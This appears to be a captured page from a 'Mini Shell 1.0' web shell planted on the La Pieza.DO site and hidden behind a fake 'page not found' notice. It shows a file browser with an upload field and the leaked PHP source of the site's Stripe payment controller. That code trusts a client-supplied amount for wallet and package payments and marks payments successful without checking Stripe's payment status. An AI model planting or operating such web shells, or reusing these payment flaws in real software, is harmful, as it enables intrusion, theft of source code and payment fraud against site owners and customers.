HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/StripeController.php
<?php

namespace App\Http\Controllers\Api\V2;

use App\Models\CombinedOrder;
use App\Models\Currency;
use Illuminate\Http\Request;

class StripeController extends Controller {
    public function stripe(Request $request) {
        $data['payment_type'] = $request->payment_type;
        $data['combined_order_id'] = $request->combined_order_id;
        $data['amount'] = $request->amount;
        $data['user_id'] = $request->user_id;
        $data['package_id'] = 0;
        if (isset($request->package_id)) {
            $data['package_id'] = $request->package_id;
        }
        return view('frontend.payment.stripe_app', $data);
    }

    public function create_checkout_session(Request $request) {
        $amount = 0;
        if ($request->payment_type == 'cart_payment') {
            $combined_order = CombinedOrder::find($request->combined_order_id);
            $amount = round($combined_order->grand_total * 100);
        } elseif ($request->payment_type == 'wallet_payment') {
            $amount = round($request->amount * 100);
        } elseif ($request->payment_type == 'customer_package_payment') {
            $amount = round($request->amount * 100);
        } elseif ($request->payment_type == 'seller_package_payment') {
            $amount = round($request->amount * 100);
        }
        $data = array();
        $data['payment_type'] = $request->payment_type;
        $data['combined_order_id'] = $request->combined_order_id;
        $data['amount'] = $request->amount;
        $data['user_id'] = $request->user_id;
        $data['package_id'] = $request->package_id;
        \Stripe\Stripe::setApiKey(env('STRIPE_SECRET'));
        $session = \Stripe\Checkout\Session::create([
            'payment_method_types' => ['card'],
            'line_items' => [
                [
                    'price_data' => [
                        'currency' => Currency::findOrFail(get_setting('system_default_currency'))->code,
                        'product_data' => [
                            'name' => "Payment"
                        ],
                        'unit_amount' => $amount,
                    ],
                    'quantity' => 1,
                ]
            ],
            'mode' => 'payment',
            'client_reference_id' => json_encode($data),
            // 'success_url' => route('api.stripe.success', $data),
            'success_url' => env('APP_URL') . "/api/v2/stripe/success?session_id={CHECKOUT_SESSION_ID}",
            'cancel_url' => route('api.stripe.cancel'),
        ]);
        return response()->json(['id' => $session->id, 'status' => 200]);
    }

    public function payment_success(Request $request) {
        $stripe = new \Stripe\StripeClient(env('STRIPE_SECRET'));
        try {
            $session = $stripe->checkout->sessions->retrieve($request->session_id);
            $decoded_reference_data = json_decode($session->client_reference_id);
            $payment = ["status" => "Success"];
            $payment_type = $decoded_reference_data->payment_type;
            if ($payment_type == 'cart_payment') {
                checkout_done($decoded_reference_data->combined_order_id, json_encode($payment));
            }
            if ($payment_type == 'wallet_payment') {
                wallet_payment_done($decoded_reference_data->user_id, $decoded_reference_data->amount, 'Stripe', json_encode($payment));
            }
            if ($payment_type == 'seller_package_payment') {
                seller_purchase_payment_done($decoded_reference_data->user_id, $decoded_reference_data->package_id, $decoded_reference_data->amount, 'Stripe', json_encode($payment));
            }
            if ($payment_type == 'customer_package_payment') {
                customer_purchase_payment_done($decoded_reference_data->user_id, $decoded_reference_data->package_id);
            }
            return response()->json(['result' => true, 'message' => translate("Payment is successful")]);
        } catch (\Exception $e) {
            return response()->json(['result' => false, 'message' => translate("Payment is failed")]);
        }
    }

    public function cancel(Request $request) {
        return response()->json(['result' => false, 'message' => translate("Payment is cancelled")]);
    }
}